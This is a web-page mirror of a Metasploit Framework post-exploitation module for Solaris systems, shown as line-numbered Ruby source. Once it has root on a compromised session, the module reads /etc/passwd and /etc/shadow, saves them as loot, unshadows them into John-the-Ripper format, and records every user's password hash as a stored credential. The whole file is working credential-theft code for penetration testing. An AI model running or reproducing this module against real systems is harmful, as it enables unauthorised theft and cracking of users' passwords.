Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/solaris/gather/hashdump.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Solaris::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
15
'Description' => %q{
16
Post module to dump the password hashes for all users on a Solaris system.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
20
'Platform' => [ 'solaris' ],
21
'SessionTypes' => [ 'shell' ],
22
'Notes' => {
23
'Stability' => [CRASH_SAFE],
24
'SideEffects' => [],
25
'Reliability' => []
26
}
27
)
28
)
29
end
30
31
def run
32
fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?
33
34
passwd_file = read_file('/etc/passwd')
35
shadow_file = read_file('/etc/shadow')
36
37
# Save in loot the passwd and shadow file
38
p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
39
p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
40
vprint_good("Shadow saved in: #{p1}")
41
vprint_good("passwd saved in: #{p2}")
42
43
# Unshadow the files
44
john_file = unshadow(passwd_file, shadow_file)
45
john_file.each_line do |l|
46
hash_parts = l.split(':')
47
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
48
if jtr_format.empty? # overide the default
49
jtr_format = 'des,bsdi,crypt'
50
end
51
credential_data = {
52
jtr_format: jtr_format,
53
origin_type: :session,
54
post_reference_name: refname,
55
private_type: :nonreplayable_hash,
56
private_data: hash_parts[1],
57
session_id: session_db_id,
58
username: hash_parts[0],
59
workspace_id: myworkspace_id
60
}
61
create_credential(credential_data)
62
print_good(l.chomp)
63
end
64
65
# Save pwd file
66
upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
67
print_good("Unshadowed Password File: #{upassf}")
68
end
69
70
def unshadow(pf, sf)
71
unshadowed = ''
72
sf.each_line do |sl|
73
pass = sl.scan(/^\w*:([^:]*)/).join
74
next unless pass !~ /^\*LK\*|^NP/
75
76
user = sl.scan(/(^\w*):/).join
77
pf.each_line do |pl|
78
if pl.match(/^#{user}:/)
79
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
80
end
81
end
82
end
83
84
return unshadowed
85
end
86
end
87
88